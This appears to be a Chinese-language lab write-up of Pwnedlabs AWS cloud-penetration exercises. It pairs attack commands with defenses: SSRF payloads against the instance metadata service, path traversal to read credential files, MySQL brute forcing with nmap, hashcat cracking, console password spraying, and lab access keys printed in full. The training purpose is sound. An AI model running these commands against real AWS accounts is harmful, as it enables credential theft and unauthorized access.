Pwnedlabs靶场Writeup(上)
字数 1545 2025-08-20 18:17:59
Pwnedlabs靶场Writeup:AWS云安全渗透实战指南
1. 从公开S3存储桶识别AWS账户ID
技术要点:
- 通过
s3:ResourceAccount策略条件枚举AWS账户ID - 使用
s3-account-search工具进行逐位猜测
操作步骤:
- 执行命令:
s3-account-search arn:aws:iam::427648302155:role/LeakyBucket mega-big-tech
- 工具会逐位猜测账户ID,最终得到完整ID:
107513503799
防御措施:
- 限制S3存储桶的公开访问权限
- 监控异常访问模式
2. AWS IAM枚举基础
关键命令:
# 获取当前身份信息
aws sts get-caller-identity
# 获取用户信息
aws iam get-user
# 枚举用户所属组
aws iam list-groups-for-user --user-name dev01
# 列出附加的用户策略
aws iam list-attached-user-policies --user-name dev01
# 列出策略版本
aws iam list-policy-versions --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess
# 获取策略内容
aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/AmazonGuardDutyReadOnlyAccess --version-id v3
# 列出内联策略
aws iam list-user-policies --user-name dev01
# 获取内联策略内容
aws iam get-user-policy --user-name dev01 --policy-name S3_Access
# 获取角色信息
aws iam get-role --role-name BackendDev
# 获取附加的角色策略
aws iam list-attached-role-policies --role-name BackendDev
防御建议:
- 遵循最小权限原则
- 定期审计IAM策略
- 禁用不必要的内联策略
3. AWS S3枚举基础
攻击流程:
- 发现公开可读的S3存储桶:
aws s3 cp s3://dev.huge-logistics.com/shared/hl_migration_project.zip ./ --no-sign-request
- 解压后发现AKSK(访问密钥和秘密密钥)
- 使用泄露的凭据访问受限内容:
aws s3 cp s3://dev.huge-logistics.com/admin/flag.txt ./
关键发现:
migration-files/test-export.xml文件包含敏感信息:
<CredentialEntry>
<ServiceType>AWS IT Admin</ServiceType>
<AccountID>794929857501</AccountID>
<AccessKeyID>AKIA3SFMDAPOQRFWFGCD</AccessKeyID>
<SecretAccessKey>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</SecretAccessKey>
</CredentialEntry>
防御措施:
- 加密敏感数据
- 实施严格的存储桶策略
- 禁用不必要的公开访问
4. 利用暴露的RDS实例
攻击步骤:
- 端口扫描发现开放数据库服务:
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
- 暴力破解MySQL凭据:
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=mysql-creds.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
- 使用获得的凭据连接数据库并获取flag:
mysql -udbuser -p123 -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com
use user_info;
select * from flag;
防御建议:
# 列出RDS实例
aws rds describe-db-instances
# 识别公开访问的RDS
aws rds describe-db-instances --query 'DBInstances[*].PubliclyAccessible' --query 'DBInstances[*].DBInstanceIdentifier'
- 将公开访问的RDS设置为私有
- 实施网络访问控制
5. 路径遍历获取AWS凭证
攻击方法:
- 利用路径遍历漏洞读取
.aws/credentials文件 - 获取AKSK后验证权限:
aws sts get-caller-identity
- 使用凭证访问S3获取flag:
aws s3 cp s3://huge-logistics-bucket/flag.txt ./
关键点:
- 云环境中路径遍历攻击应优先检查
.aws目录 /etc/passwd可帮助识别云用户
6. SSRF攻击AWS元数据服务
攻击流程:
- 发现SSRF漏洞端点:
/status/status.php - 获取IAM角色信息:
http://target/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/
- 获取临时凭证:
http://target/status/status.php?name=169.254.169.254/latest/meta-data/iam/security-credentials/MetapwnedS3Access
- 使用临时凭证访问受限S3资源:
aws s3 cp s3://huge-logistics-storage/backup/flag.txt ./
防御措施:
- 禁用IMDSv1,强制使用IMDSv2
- 实施网络控制限制元数据服务访问
- 验证用户输入
7. 利用公开的EBS快照
攻击步骤:
- 枚举当前权限:
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name intern
- 发现可公开访问的快照:
aws ec2 describe-snapshot-attribute --snapshot-id snap-0c0679098c7a4e636 --attribute createVolumePermission
- 创建并挂载卷:
sudo mkdir /test
sudo mount /dev/xvdf3 /test
- 发现敏感文件
s3_download_file.php包含AKSK - 使用凭证访问S3获取flag
防御建议:
# 检测公开快照
aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate
- 将公开快照设为私有
- 轮换快照上的所有凭据
8. 使用External ID获取特权角色
攻击流程:
- 发现泄露的
config.json文件包含AKSK - 枚举当前权限:
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name data-bot
- 列出Secrets Manager中的秘密:
aws secretsmanager list-secrets
- 获取外部ID凭证:
{
"Username": "ext-cost-user",
"Password": "K33pOurCostsOptimized!!!!"
}
- 获取角色信息:
aws iam get-role --role-name ExternalCostOpimizeAccess
- 使用External ID获取临时凭证:
aws sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name test --external-id 37911
- 获取支付卡信息:
aws secretsmanager get-secret-value --secret-id arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK
关键点:
- External ID用于跨账户访问控制
- 临时凭证的有效期有限
9. 凭证滥用识别与执行
攻击方法:
- 从公开S3存储桶下载
asana-cloud-migration-backup.json - 发现泄露的AKSK:
Access key ID: AKIATRPHKUQK4TXINWX4
Secret access key: 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
- 枚举DynamoDB表:
aws dynamodb list-tables
aws dynamodb scan --table-name analytics_app_users > output.json
- 破解密码哈希:
hashcat -m 1400 hash.txt rockyou.txt --force --username
- 使用
GoAWSConsoleSpray进行控制台喷洒攻击:
./GoAWSConsoleSpray -a 243687662613 -u user.txt -p pass.txt
- 成功登录后从
user_order_logs表获取flag
防御措施:
- 实施MFA(多因素认证)
- 监控异常登录尝试
- 定期轮换凭证
总结与最佳实践
攻击面总结:
- 公开的S3存储桶和EBS快照
- IAM权限配置不当
- 凭证硬编码和泄露
- SSRF漏洞利用
- 数据库暴露和弱凭证
防御建议:
- 最小权限原则:严格限制IAM权限
- 加密敏感数据:使用KMS等服务加密存储
- 监控与审计:启用CloudTrail和GuardDuty
- 凭证管理:避免硬编码,定期轮换
- 网络控制:限制公开访问的资源
- 漏洞管理:定期扫描和修复漏洞
通过Pwnedlabs靶场的实践,可以全面了解AWS环境中的常见安全问题和防御措施,是提升云安全能力的优秀学习资源。